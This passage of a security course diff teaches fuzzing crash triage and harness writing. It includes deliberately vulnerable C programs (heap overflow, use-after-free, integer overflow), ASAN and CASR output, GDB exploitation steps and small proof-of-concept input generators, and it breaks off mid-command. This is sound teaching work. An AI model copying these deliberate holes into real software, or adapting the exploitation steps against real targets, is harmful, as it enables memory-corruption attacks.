+ - [Effective Fuzzing Harness](https://srlabs.de/blog/unlocking-secrets-effective-fuzzing-harness)
1236
+ - _Concepts_:
1237
+ - Crash deduplication and bucketing
1238
+ - Root cause analysis from stack traces
1239
+ - Exploitability classification
1240
+ - ASAN report interpretation
1241
+ - Building proof-of-concept exploits
1242
+
1243
+ ### Understanding Crash Analysis Tools
1244
+
1245
+ ```bash
1246
+ # Install crash analysis toolkit
1247
+ sudo apt update
1248
+ sudo apt install -y gdb python3-pip valgrind binutils
1249
+
1250
+ # Install GEF (GDB Enhanced Features) - if you haven't done so already
1251
+ #wget -O ~/.gdbinit-gef.py -q https://gef.blah.cat/py
1252
+ #echo "source ~/.gdbinit-gef.py" >> ~/.gdbinit
1253
+
1254
+ # Install CASR (Crash Analysis and Severity Report) and rust if you haven't already
1255
+ #curl --proto '=https' --tlsv1.2 -sSf "https://sh.rustup.rs" | sh
1256
+ #source ~/.cargo/env
1257
+ cargo install casr
1258
+
1259
+ # Verify installations
1260
+ casr-san --help | head -5
1261
+ ```
1262
+
1263
+ ### Case Study 1: Analyzing Heap Buffer Overflow
1264
+
1265
+ **Scenario**: Fuzzing discovered a crash in an image parser. Let's perform complete analysis.
1266
+
1267
+ ```bash
1268
+ # Create sample vulnerable image parser
1269
+ mkdir -p ~/crash_analysis/case1_heap_overflow && cd ~/crash_analysis/case1_heap_overflow
1270
+
1271
+ cat > vuln_parser.c << 'EOF'
1272
+ #include <stdio.h>
1273
+ #include <stdlib.h>
1274
+ #include <string.h>
1275
+ #include <stdint.h>
1276
+
1277
+ void build_huffman_table(uint8_t *input, size_t size) {
1278
+ if (size < 8) return;
1279
+
1280
+ uint32_t table_size = *(uint32_t*)input;
1281
+ uint8_t *codes = input + 4;
1282
+
1283
+ uint8_t *table = malloc(256);
1284
+
1285
+ // VULNERABILITY: No bounds check on table_size
1286
+ // Can write beyond 256-byte buffer
1287
+ memcpy(table, codes, table_size); // Heap buffer overflow!
1288
+
1289
+ printf("Built Huffman table with %u codes\n", table_size);
1290
+
1291
+ free(table);
1292
+ }
1293
+
1294
+ int main(int argc, char **argv) {
1295
+ if (argc < 2) return 1;
1296
+
1297
+ FILE *f = fopen(argv[1], "rb");
1298
+ if (!f) return 1;
1299
+
1300
+ fseek(f, 0, SEEK_END);
1301
+ size_t size = ftell(f);
1302
+ fseek(f, 0, SEEK_SET);
1303
+
1304
+ uint8_t *data = malloc(size);
1305
+ fread(data, 1, size, f);
1306
+ fclose(f);
1307
+
1308
+ build_huffman_table(data, size);
1309
+
1310
+ free(data);
1311
+ return 0;
1312
+ }
1313
+ EOF
1314
+
1315
+ # Compile with ASAN for detailed crash reports
1316
+ clang-19 -g -O0 -fsanitize=address -o vuln_parser_asan vuln_parser.c
1317
+
1318
+ # Create crashing input (table_size = 512, overflows 256-byte buffer)
1319
+ python3 << 'EOF'
1320
+ import struct
1321
+ # table_size = 512 (causes 256-byte overflow)
1322
+ payload = struct.pack('<I', 512)
1323
+ payload += b'A' * 512
1324
+ with open('crash_heap_overflow.bin', 'wb') as f:
1325
+ f.write(payload)
1326
+ EOF
1327
+
1328
+ # Run and capture ASAN output
1329
+ ./vuln_parser_asan crash_heap_overflow.bin 2>&1 | tee asan_crash.log
1330
+ ```
1331
+
1332
+ **ASAN Output Analysis**:
1333
+
1334
+ ```
1335
+ ==37160==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x511000000140 at pc 0x56d6a37d0f62 bp 0x7ffd9f024440 sp 0x7ffd9f023c00
1336
+ WRITE of size 512 at 0x511000000140 thread T0
1337
+ #0 0x56d6a37d0f61 in __asan_memcpy
1338
+ #1 0x56d6a38147f5 in build_huffman_table vuln_parser.c:16:5
1339
+ #2 0x56d6a38148fe in main vuln_parser.c:37:5
1340
+
1341
+ 0x511000000140 is located 0 bytes after 256-byte region [0x511000000040,0x511000000140)
1342
+ allocated by thread T0 here:
1343
+ #0 0x56d6a37d3193 in malloc (vuln_parser_asan+0xcc193) (BuildId: e524ec295f274ddf6e407b3941080060bdfc9d1c)
1344
+ #1 0x56d6a38147df in build_huffman_table vuln_parser.c:12:22
1345
+ #2 0x56d6a38148fe in main vuln_parser.c:37:5
1346
+
1347
+ SUMMARY: AddressSanitizer: heap-buffer-overflow (vuln_parser_asan+0xc9f61) (BuildId: e524ec295f274ddf6e407b3941080060bdfc9d1c) in __asan_memcpy
1348
+ Shadow bytes around the buggy address:
1349
+ 0x510ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1350
+ 0x510fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1351
+ 0x510fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1352
+ 0x511000000000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
1353
+ 0x511000000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1354
+ =>0x511000000100: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
1355
+ ```
1356
+
1357
+ **Interpreting the ASAN Report**:
1358
+
1359
+ 1. **Bug Type**: `heap-buffer-overflow`
1360
+ 2. **Operation**: WRITE of size 512
1361
+ 3. **Location**: `vuln_parser.c:16` in `build_huffman_table()`
1362
+ 4. **Allocation**: 256-byte buffer at line 12
1363
+ 5. **Overflow**: Writing 512 bytes into 256-byte buffer = 256 bytes overflow
1364
+
1365
+ **Root Cause Analysis**:
1366
+
1367
+ ```bash
1368
+ # View the vulnerable code with context
1369
+ cat -n vuln_parser.c | sed -n '6,16p'
1370
+ # 6 void build_huffman_table(uint8_t *input, size_t size) {
1371
+ # 7 if (size < 8) return;
1372
+ # 8
1373
+ # 9 uint32_t table_size = *(uint32_t*)input; // ATTACKER CONTROLLED
1374
+ # 10 uint8_t *codes = input + 4;
1375
+ # 11
1376
+ # 12 uint8_t *table = malloc(256); // Fixed 256 bytes
1377
+ # 13
1378
+ # 14 // VULNERABILITY: No bounds check on table_size
1379
+ # 15 // Can write beyond 256-byte buffer
1380
+ # 16 memcpy(table, codes, table_size); // Copies attacker-controlled amount!
1381
+ ```
1382
+
1383
+ **Exploitability Assessment**:
1384
+
1385
+ ```bash
1386
+ # Classify crash automatically with CASR (using the ASAN run you captured above)
1387
+ #casr-san -o heap_overflow.casrep -- ./vuln_parser_asan crash_heap_overflow.bin 2>&1 | tee casr_heap_overflow.log
1388
+ casr-san --stdout -- ./vuln_parser_asan crash_heap_overflow.bin | tee heap_overflow.casrep
1389
+
1390
+ # The .casrep and log will contain fields like:
1391
+ # "Type": "EXPLOITABLE",
1392
+ # "ShortDescription": "heap-buffer-overflow(write)",
1393
+
1394
+ # You can still use GDB for manual inspection of the corrupted heap if you want:
1395
+ gdb ./vuln_parser_asan
1396
+ (gdb) run crash_heap_overflow.bin
1397
+ ```
1398
+
1399
+ **Exploitability Classification**: **EXPLOITABLE**
1400
+
1401
+ **Reasoning**:
1402
+
1403
+ 1. **Attacker controls overflow size**: `table_size` from input
1404
+ 2. **Attacker controls overflow data**: `codes` array content
1405
+ 3. **Heap corruption possible**: Can overwrite adjacent objects
1406
+ 4. **Exploitation path**:
1407
+ - Overflow into adjacent heap object
1408
+ - Corrupt function pointer or vtable
1409
+ - Hijack control flow
1410
+ - Execute arbitrary code
1411
+
1412
+ **Real-World Example**: Similar to CVE-2023-4863 (libWebP Heap Buffer Overflow) from Week 1.
1413
+
1414
+ ### Case Study 2: Use-After-Free Analysis
1415
+
1416
+ ```bash
1417
+ mkdir -p ~/crash_analysis/case2_uaf && cd ~/crash_analysis/case2_uaf
1418
+
1419
+ cat > vuln_uaf.c << 'EOF'
1420
+ #include <stdio.h>
1421
+ #include <stdlib.h>
1422
+ #include <string.h>
1423
+
1424
+ typedef struct {
1425
+ char *name;
1426
+ void (*process)(void);
1427
+ } Handler;
1428
+
1429
+ void default_handler(void) {
1430
+ printf("Default handler\n");
1431
+ }
1432
+
1433
+ void evil_handler(void) {
1434
+ printf("Evil handler executed! Code execution via UAF.\n");
1435
+ }
1436
+
1437
+ Handler *handler = NULL;
1438
+
1439
+ void register_handler(char *name) {
1440
+ handler = malloc(sizeof(Handler));
1441
+ handler->name = strdup(name);
1442
+ handler->process = default_handler;
1443
+ }
1444
+
1445
+ void unregister_handler(void) {
1446
+ if (handler) {
1447
+ free(handler->name);
1448
+ free(handler);
1449
+ // BUG: Should set handler = NULL here!
1450
+ }
1451
+ }
1452
+
1453
+ void attacker_groom_heap(void) {
1454
+ for (int i = 0; i < 1000; i++) {
1455
+ Handler *fake = malloc(sizeof(Handler));
1456
+ fake->name = "pwned";
1457
+ fake->process = evil_handler;
1458
+ }
1459
+ }
1460
+
1461
+ void call_handler(void) {
1462
+ if (handler) {
1463
+ handler->process();
1464
+ }
1465
+ }
1466
+
1467
+ int main(int argc, char **argv) {
1468
+ register_handler("test");
1469
+ unregister_handler();
1470
+ attacker_groom_heap();
1471
+ call_handler();
1472
+
1473
+ return 0;
1474
+ }
1475
+ EOF
1476
+
1477
+ # Compile with ASAN
1478
+ clang-19 -g -O0 -fsanitize=address -o vuln_uaf_asan vuln_uaf.c
1479
+
1480
+ # Run and capture output
1481
+ ./vuln_uaf_asan 2>&1 | tee uaf_crash.log
1482
+ ```
1483
+
1484
+ **ASAN Output**:
1485
+
1486
+ ```
1487
+ =================================================================
1488
+ ==38664==ERROR: AddressSanitizer: heap-use-after-free on address 0x502000000010 at pc 0x617b2245a953 bp 0x7ffe92f7c160 sp 0x7ffe92f7c158
1489
+ READ of size 8 at 0x502000000010 thread T0
1490
+ #0 0x617b2245a952 in call_handler vuln_uaf.c:44:50
1491
+ #1 0x617b2245a9d0 in main vuln_uaf.c:53:5
1492
+
1493
+ 0x502000000010 is located 0 bytes inside of 16-byte region [0x502000000010,0x502000000020)
1494
+ freed by thread T0 here:
1495
+ #1 0x617b2245a86a in unregister_handler vuln_uaf.c:29:9
1496
+ #2 0x617b2245a9c6 in main vuln_uaf.c:51:5
1497
+
1498
+ previously allocated by thread T0 here:
1499
+ #1 0x617b2245a7a5 in register_handler vuln_uaf.c:21:15
1500
+ #2 0x617b2245a9c1 in main vuln_uaf.c:50:5
1501
+
1502
+ SUMMARY: AddressSanitizer: heap-use-after-free vuln_uaf.c:44:50 in call_handler
1503
+ Shadow bytes around the buggy address:
1504
+ 0x501ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1505
+ 0x501ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1506
+ 0x501ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1507
+ 0x501fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1508
+ 0x501fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1509
+ =>0x502000000000: fa fa[fd]fd fa fa fd fa fa fa 00 00 fa fa 00 00
1510
+ ```
1511
+
1512
+ **Exploitability Assessment**:
1513
+
1514
+ ```bash
1515
+ # Classify crash with CASR again (now for a UAF instead of overflow)
1516
+ casr-san --stdout -- ./vuln_uaf_asan 2>&1 | tee uaf.casrep
1517
+
1518
+ # The report will highlight:
1519
+ # - Bug class: heap-use-after-free
1520
+ # - Severity: "NOT_EXPLOITABLE"
1521
+ # - Reason: ASan instruments the READ of the function pointer *before* the call.
1522
+ # Since it's a read from freed memory, CASR defaults to "Not Exploitable".
1523
+ #
1524
+ # This is a critical lesson: Automated tools are heuristics.
1525
+ # A human analyst sees "Read of function pointer from freed memory" -> Critical.
1526
+
1527
+ # To prove exploitability, we would need to:
1528
+ # 1. Bypass ASan quarantine (so memory is reallocated/valid)
1529
+ # 2. Overwrite with a bad pointer
1530
+ # 3. Trigger the crash on the JUMP (SEGV), not the UAF read.
1531
+ #
1532
+ # For now, trust your manual analysis: Controlling a function pointer is exploitable.
1533
+
1534
+ # For deeper debugging, verify the exploit manually in GDB:
1535
+ # NOTE: You must disable ASan quarantine to allow the freed chunk to be reused!
1536
+ # Otherwise, malloc() will return a new address, and handler->process will still be old/garbage.
1537
+ export ASAN_OPTIONS=detect_leaks=0:quarantine_size_mb=0
1538
+
1539
+ gdb ./vuln_uaf_asan
1540
+ (gdb) break vuln_uaf.c:44 # Break at call_handler (before crash)
1541
+ (gdb) run
1542
+ (gdb) p handler
1543
+ # $1 = (Handler *) 0x...
1544
+
1545
+ (gdb) p *handler
1546
+ # With quarantine=0, you should see:
1547
+ # name = "pwned"
1548
+ # process = <evil_handler>
1549
+
1550
+ (gdb) p handler->process
1551
+ # Should point to evil_handler
1552
+
1553
+ (gdb) continue
1554
+ # Execution should flow to evil_handler() (or crash if ASan still catches the shadow marker)
1555
+
1556
+ ```
1557
+
1558
+ **Exploitability Classification**: **EXPLOITABLE** (Verified via manual analysis)
1559
+
1560
+ > [!NOTE]: Automated tools like CASR may label this `NOT_EXPLOITABLE` because ASan instruments the function pointer _read_ before the call. Manual verification (as shown above) proves control flow hijack is possible.
1561
+
1562
+ **Exploitation Strategy**:
1563
+
1564
+ 1. **Heap grooming**: Allocate/free to position objects
1565
+ 2. **Reclaim freed memory**: Allocate object of same size (requires bypassing ASan quarantine in lab)
1566
+ 3. **Control freed memory contents**: Fill with attacker data
1567
+ 4. **Trigger UAF**: Call `call_handler()`
1568
+ 5. **Function pointer hijack**: `handler->process` points to attacker-controlled address
1569
+ 6. **Result**: Arbitrary code execution
1570
+
1571
+ **Real-World Example**: Similar to CVE-2024-2883 (Chrome ANGLE UAF) from Week 1.
1572
+
1573
+ ### Case Study 3: Integer Overflow Leading to Heap Corruption
1574
+
1575
+ ```bash
1576
+ mkdir -p ~/crash_analysis/case3_integer_overflow && cd ~/crash_analysis/case3_integer_overflow
1577
+
1578
+ cat > vuln_intoverflow.c << 'EOF'
1579
+ #include <stdio.h>
1580
+ #include <stdlib.h>
1581
+ #include <string.h>
1582
+ #include <stdint.h>
1583
+
1584
+ void process_image(uint32_t width, uint32_t height, uint8_t *data) {
1585
+ size_t pixel_count = width * height;
1586
+ size_t buffer_size = pixel_count * 4;
1587
+
1588
+ printf("Allocating %zu bytes for %ux%u image\n", buffer_size, width, height);
1589
+
1590
+ uint8_t *buffer = malloc(buffer_size);
1591
+
1592
+ for (size_t i = 0; i < (size_t)width * height; i++) {
1593
+ // WRITES out of bounds immediately
1594
+ // Use modulo to avoid reading out of bounds of 'data'
1595
+ buffer[i * 4] = data[i % 1024];
1596
+ }
1597
+
1598
+ free(buffer);
1599
+ }
1600
+
1601
+ int main(int argc, char **argv) {
1602
+ // Attacker-controlled dimensions
1603
+ uint32_t width = 0x10000; // 65536
1604
+ uint32_t height = 0x10000; // 65536
1605
+
1606
+ uint8_t fake_data[1024];
1607
+ memset(fake_data, 'A', sizeof(fake_data));
1608
+
1609
+ process_image(width, height, fake_data);
1610
+
1611
+ return 0;
1612
+ }
1613
+ EOF
1614
+
1615
+ # Compile with ASAN and UBSAN
1616
+ clang-19 -g -O0 -fsanitize=address,unsigned-integer-overflow -o vuln_int_asan vuln_intoverflow.c
1617
+
1618
+ # Run
1619
+ ./vuln_int_asan 2>&1 | tee intoverflow_crash.log
1620
+ ```
1621
+
1622
+ **Analysis**:
1623
+
1624
+ ```
1625
+ vuln_intoverflow.c:7:32: runtime error: unsigned integer overflow: 65536 * 65536 cannot be represented in type 'uint32_t' (aka 'unsigned int')
1626
+ SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior vuln_intoverflow.c:7:32
1627
+ =================================================================
1628
+ ==39011==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000000014 at pc 0x5fa5104bd933 bp 0x7ffd7d3885a0 sp 0x7ffd7d388598
1629
+ WRITE of size 1 at 0x502000000014 thread T0
1630
+ #0 0x5fa5104bd932 in process_image vuln_intoverflow.c:17:23
1631
+ #1 0x5fa5104bdad0 in main vuln_intoverflow.c:31:5
1632
+
1633
+ 0x502000000014 is located 3 bytes after 1-byte region [0x502000000010,0x502000000011)
1634
+ allocated by thread T0 here:
1635
+ #1 0x5fa5104bd7fc in process_image vuln_intoverflow.c:12:23
1636
+
1637
+ SUMMARY: AddressSanitizer: heap-buffer-overflow vuln_intoverflow.c:17:23 in process_image
1638
+ Shadow bytes around the buggy address:
1639
+ 0x501ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1640
+ 0x501ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1641
+ 0x501ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1642
+ 0x501fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1643
+ 0x501fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1644
+ =>0x502000000000: fa fa[01]fa fa fa fa fa fa fa fa fa fa fa fa fa
1645
+
1646
+ ```
1647
+
1648
+ **Root Cause**:
1649
+
1650
+ 1. **Integer Overflow**: `width * height` overflows 32-bit integer range, wrapping to 0.
1651
+ 2. **Under-allocation**: `malloc(0)` allocates a tiny chunk.
1652
+ 3. **Logic Mismatch**: Loop uses proper 64-bit bounds (or nested loops), iterating 4 billion times.
1653
+ 4. **Heap Corruption**: Loop writes far beyond the allocated chunk.
1654
+
1655
+ **Exploitability Assessment**:
1656
+
1657
+ ```bash
1658
+ # Classify crash with CASR
1659
+ # Note: UBSAN might print an error first, but ASAN catches the memory corruption
1660
+ casr-san --stdout -- ./vuln_int_asan 2>&1 | tee intoverflow.casrep
1661
+
1662
+ # The report will highlight:
1663
+ # "Type": "EXPLOITABLE",
1664
+ # "ShortDescription": "heap-buffer-overflow(write)",
1665
+ # "Description": "Heap buffer overflow",
1666
+
1667
+ # Verify manually in GDB:
1668
+ gdb ./vuln_int_asan
1669
+ (gdb) break vuln_intoverflow.c:17 # Break inside the loop
1670
+ (gdb) run
1671
+ (gdb) p buffer_size
1672
+ # $1 = 0
1673
+ (gdb) p buffer
1674
+ # $2 = (uint8_t *) 0x... (Valid small chunk)
1675
+ (gdb) x/4gx buffer
1676
+ # Check adjacent memory (likely metadata or other chunks)
1677
+ (gdb) step
1678
+ # Watch the write to buffer[0] corrupting the heap
1679
+ (gdb) continue
1680
+ ```
1681
+
1682
+ **Exploitability Classification**: **EXPLOITABLE**
1683
+
1684
+ **Exploitation Strategy**:
1685
+
1686
+ 1. **Heap Grooming**: Allocate a sensitive object (e.g., a structure with a function pointer) immediately after the vulnerable 0-byte allocation.
1687
+ 2. **Trigger Overflow**: Send input with dimensions `0x10000 * 0x10000` to cause integer overflow -> `malloc(0)`.
1688
+ 3. **Overwrite**: The loop writes attacker data (`fake_data`) into the adjacent sensitive object.
1689
+ 4. **Hijack**: Trigger the use of the corrupted object (e.g., call the function pointer).
1690
+
1691
+ ### Building Proof-of-Concept Exploits
1692
+
1693
+ #### Heap Overflow Example
1694
+
1695
+ ```bash
1696
+ cd ~/crash_analysis/case1_heap_overflow
1697
+ cat > buf_ov.py << 'EOF'
1698
+ #!/usr/bin/env python3
1699
+ # POC for heap buffer overflow in vuln_parser
1700
+
1701
+ import struct
1702
+
1703
+ def craft_overflow_input():
1704
+ """Create input that causes a massive overflow"""
1705
+ # Target allocates 256 bytes. We claim size is 512.
1706
+ table_size = 512
1707
+
1708
+ # Structure: [Size (4 bytes)] [Data (512 bytes)]
1709
+ payload = struct.pack('<I', table_size)
1710
+ payload += b'A' * table_size
1711
+
1712
+ return payload
1713
+
1714
+ with open('poc_exploit.bin', 'wb') as f:
1715
+ f.write(craft_overflow_input())
1716
+
1717
+ print("[+] Created poc_exploit.bin")
1718
+ print("[+] Run the ASan build for diagnostics or the no-sanitizer build for raw exploitation.")
1719
+ EOF
1720
+ python3 buf_ov.py
1721
+ # Diagnostic run (shows detailed ASan report)
1722
+ ./vuln_parser_asan poc_exploit.bin
1723
+
1724
+ # Realistic exploit run (no sanitizers, glibc notices corrupted heap metadata)
1725
+ clang-19 -g -O0 -o vuln_parser_nosan vuln_parser.c
1726
+ MALLOC_CHECK_=0 ./vuln_parser_nosan poc_exploit.bin
1727
+ ```
1728
+
1729
+ #### Use-After-Free Example
1730
+
1731
+ ```bash
1732
+ cd ~/crash_analysis/case2_uaf
1733
+
1734
+ # Build a runtime version without sanitizers (ensures freed chunks are reused immediately)
1735
+ clang-19 -g -O0 -o vuln_uaf_nosan vuln_uaf.c
1736
+
1737
+ # Optional: keep the ASan build for triage but disable quarantine to watch exploitation
1738
+ # ASAN_OPTIONS=quarantine_size_mb=0 ./vuln_uaf_asan
1739
+
1740
+ # Execute the no-sanitizer build to watch the hijacked handler fire
1741
+ ./vuln_uaf_nosan
1742
+ ```
1743
+
1744
+ Expected console output:
1745
+
1746
+ ```
1747
+ Evil handler executed! Code execution via UAF.
1748
+ ```
1749
+
1750
+ To force an outright crash (showing instruction-pointer control), change the spray in `attacker_groom_heap()` to:
1751
+
1752
+ ```c
1753
+ fake->process = (void (*)(void))0x4141414141414141ULL;
1754
+ ```
1755
+
1756
+ Running `./vuln_uaf_nosan` now ends with a segfault at `0x4141414141414141`, demonstrating control-flow hijack without AddressSanitizer interfering.
1757
+
1758
+ ### Key Takeaways
1759
+
1760
+ 1. **Sanitized vs non-sanitized builds**: Use ASan/UBSan/KASAN builds for **triage and root-cause**, then switch to **no-sanitizer builds** (with knobs like `ASAN_OPTIONS` or `MALLOC_CHECK_`) to study realistic heap behavior and exploitation.
1761
+ 2. **Automated ratings are heuristics**: CASR’s `Type`/`Severity` fields are a **starting point only**; Case Study 2 showed a UAF rated `NOT_EXPLOITABLE` even though a function pointer hijack is clearly possible.
1762
+ 3. **Crash location vs root cause**: Tools often stop at the **first invalid access** (e.g., a read from freed memory) while the real exploit primitive (e.g., control-flow hijack) may be one instruction later.
1763
+ 4. **Exploitability hinges on control**: In all three case studies, exploitation becomes realistic when the attacker controls **sizes (length, dimensions) and data** that drive allocation and memory writes.
1764
+ 5. **Systematic PoC development**: The path is always _fuzz → crash → triage (ASan + CASR) → root cause → minimal reproducer → exploit PoC (heap metadata or function pointer overwrite)_.
1765
+
1766
+ ### Discussion Questions
1767
+
1768
+ 1. In your own workflow, when would you prefer to keep AddressSanitizer enabled, and when would you switch to a no-sanitizer build while evaluating exploitability?
1769
+ 2. How could CASR’s `NOT_EXPLOITABLE` rating for the UAF case mislead a less experienced analyst, and what manual checks (in GDB) prevent that mistake?
1770
+ 3. In the integer-overflow case, which variables and addresses would you inspect in GDB to confirm both under-allocation and the ensuing heap overwrite?
1771
+ 4. How does the exact crash site (e.g., first invalid read vs later jump through a corrupted function pointer) change your assessment of exploitability and which tools notice it?
1772
+ 5. How do modern mitigations (ASLR, DEP, hardened allocators, CFI) interact with the exploitation strategies you used in Case Studies 1–3, and what extra steps would be needed in a real target?
1773
+
1774
+ ### Further Reading
1775
+
1776
+ #### Blog Posts and Case Studies
1777
+
1778
+ - [Leveling Up Fuzzing: Finding more vulnerabilities with AI ](https://security.googleblog.com/2024/11/leveling-up-fuzzing-finding-more.html)
1779
+ - [AFL Success Stories](https://lcamtuf.blogspot.com/2014/11/afl-fuzz-nobody-expects-cdata-sections.html)
1780
+ - [5 CVEs Found with Feedback-Based Fuzzing](https://www.code-intelligence.com/blog/5-cves-found-with-feedback-based-fuzzing)
1781
+ - [Syzkaller: Finding Bugs in the Linux Kernel](https://lwn.net/Articles/677764/)
1782
+ - [OpenSSL Fuzzing Guide](https://www.openssl.org/docs/man3.3/man7/ossl-guide-fuzzing.html)
1783
+ - [Slice: SAST + LLM Interprocedural Context Extractor](https://noperator.dev/posts/slice/) - Using build-free CodeQL + Tree-Sitter + GPT‑5 to triage ~1700 static UAF candidates in the Linux kernel down to a single real bug (CVE-2025-37778), a good complement to fuzzing-based crash triage.
1784
+
1785
+ #### Practice Targets
1786
+
1787
+ - [Fuzzing-Module](https://github.com/alex-maleno/Fuzzing-Module) - Learning exercises
1788
+ - [Damn Vulnerable C Program](https://github.com/hardik05/Damn_Vulnerable_C_Program) - Vulnerable code for practice
1789
+
1790
+ ## Day 7: Fuzzing Harness Development and Real-World Campaigns
1791
+
1792
+ - **Goal**: Learn to write effective fuzzing harnesses and understand real-world fuzzing campaigns.
1793
+ - **Activities**:
1794
+ - _Reading_:
1795
+ - [libFuzzer Tutorial](https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md)
1796
+ - [OSS-Fuzz Integration Guide](https://google.github.io/oss-fuzz/getting-started/new-project-guide/)
1797
+ - _Online Resources_:
1798
+ - [Fuzzing Harness Examples](https://github.com/google/fuzzing/tree/master/tutorial)
1799
+ - [ClusterFuzz](https://google.github.io/clusterfuzz/) - Continuous fuzzing infrastructure
1800
+ - _Concepts_:
1801
+ - Harness design principles
1802
+ - In-process vs out-of-process fuzzing
1803
+ - Persistent mode optimization
1804
+ - Seed corpus curation
1805
+ - Continuous fuzzing integration
1806
+
1807
+ ### What is a Fuzzing Harness?
1808
+
1809
+ A fuzzing harness is the code that:
1810
+
1811
+ 1. Receives fuzzer-generated input
1812
+ 2. Prepares that input for the target API
1813
+ 3. Calls the target functionality
1814
+ 4. Handles errors/cleanup
1815
+
1816
+ **Example - Bad Harness vs Good Harness**:
1817
+
1818
+ ```cpp
1819
+ // BAD HARNESS: Slow, inefficient
1820
+ int main(int argc, char **argv) {
1821
+ FILE *f = fopen(argv[1], "rb"); // File I/O every iteration!
1822
+ // ... read file ...
1823
+ // ... call target API ...
1824
+ fclose(f);
1825
+ return 0;
1826
+ }
1827
+
1828
+ // GOOD HARNESS: Fast, in-process
1829
+ extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
1830
+ // Direct memory buffer, no I/O
1831
+ // Called thousands of times per second in same process
1832
+ target_api(data, size);
1833
+ return 0;
1834
+ }
1835
+ ```
1836
+
1837
+ ### Case Study: Writing Harness for JSON Parser
1838
+
1839
+ **Target**: json-c library (real-world JSON parser)
1840
+
1841
+ ```bash
1842
+ mkdir -p ~/harness_dev && cd ~/harness_dev && mkdir json_harness && cd json_harness
1843
+
1844
+ # Clone json-c
1845
+ git clone --depth 1 https://github.com/json-c/json-c.git
1846
+
1847
+ cd ~/harness_dev/json_harness/json-c
1848
+ export CC=clang-19
1849
+ export CXX=clang++-19
1850
+ export CFLAGS="-fno-sanitize-coverage=trace-cmp -fsanitize=fuzzer-no-link,address -g -O1"
1851
+ export CXXFLAGS="-fno-sanitize-coverage=trace-cmp -fsanitize=fuzzer-no-link,address -g -O1"
1852
+ cmake -DBUILD_SHARED_LIBS=OFF ./
1853
+ make -j$(nproc)
1854
+
1855
+ cd ~/harness_dev/json_harness
1856
+
1857
+ # Create fuzzing harness
1858
+ cat > fuzz_parse.c << 'EOF'
1859
+ #include <json-c/json.h>
1860
+ #include <stdint.h>
1861
+ #include <stddef.h>
1862
+
1863
+ int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
1864
+ const char *data1 = (const char *)data;
1865
+ json_tokener *tok = json_tokener_new();
1866
+ json_object *obj = json_tokener_parse_ex(tok, data1, size);
1867
+
1868
+ if (obj) {
1869
+ // Exercise different API functions to increase coverage
1870
+ json_object_to_json_string_ext(obj, JSON_C_TO_STRING_PRETTY | JSON_C_TO_STRING_SPACED);
1871
+
1872
+ if (json_object_is_type(obj, json_type_object)) {
1873
+ json_object_object_foreach(obj, key, val) {
1874
+ (void)json_object_get_type(val);
1875
+ (void)json_object_get_string(val);
1876
+ }
1877
+ }
1878
+
1879
+ if (json_object_is_type(obj, json_type_array)) {
1880
+ size_t len = json_object_array_length(obj);
1881
+ for (size_t i = 0; i < len; i++) {
1882
+ json_object_array_get_idx(obj, i);
1883
+ }
1884
+ }
1885
+
1886
+ json_object_put(obj);
1887
+ }
1888
+
1889
+ json_tokener_free(tok);
1890
+ return 0;
1891
+ }
1892
+ EOF
1893
+
1894
+ # Compile with libFuzzer
1895
+ clang-19 -g -fsanitize=address,fuzzer \
1896
+ -fno-sanitize-coverage=trace-cmp \
1897
+ -I. -Ijson-c \
1898
+ fuzz_parse.c \
1899
+ json-c/libjson-c.a \
1900
+ -o fuzz_json
1901
+
1902
+ # Create seed corpus
1903
+ mkdir -p corpus
1904
+ cat > corpus/valid1.json << 'EOF'
1905
+ {"name": "test", "value": 42}
1906
+ EOF
1907
+
1908
+ cat > corpus/valid2.json << 'EOF'
1909
+ [1, 2, 3, {"nested": "object"}]
1910
+ EOF
1911
+
1912
+ cat > corpus/valid3.json << 'EOF'
1913
+ {
1914
+ "string": "value",
1915
+ "number": 123,
1916
+ "boolean": true,
1917
+ "null": null,
1918
+ "array": [1, 2, 3],
1919
+ "object": {"key": "value"}
1920
+ }
1921
+ EOF
1922
+
1923
+ # Run libFuzzer, it might take a while to actually crash
1924
+ ./fuzz_json corpus/ -max_total_time=300 -print_final_stats=1 -max_len=10000
1925
+ ```
1926
+
1927
+ #### Harness Design Principles Applied
1928
+
1929
+ 1. **In-process execution**: `LLVMFuzzerTestOneInput` - no fork/exec overhead
1930
+ 2. **Direct API targeting**: Calls `json_tokener_parse_ex` directly
1931
+ 3. **Coverage maximization**: Exercises multiple code paths (objects, arrays, serialization)
1932
+ 4. **Proper cleanup**: Frees allocated memory to avoid OOM
1933
+ 5. **Sanitizer-friendly**: Works with ASAN/UBSAN for bug detection
1934
+
1935
+ ### Case Study: Fuzzing Archive Extractors
1936
+
1937
+ While CVE-2023-38831 was in closed-source WinRAR, let's fuzz open-source alternatives with similar architectures.
1938
+
1939
+ ```bash
1940
+ cd ~/harness_dev && mkdir archive_campaign && cd archive_campaign
1941
+
1942
+ # Target: libarchive (used by many archive tools)
1943
+ git clone --depth 1 --branch v3.5.1 https://github.com/libarchive/libarchive.git
1944
+ cd ~/harness_dev/archive_campaign/libarchive
1945
+
1946
+ export CC=clang-19
1947
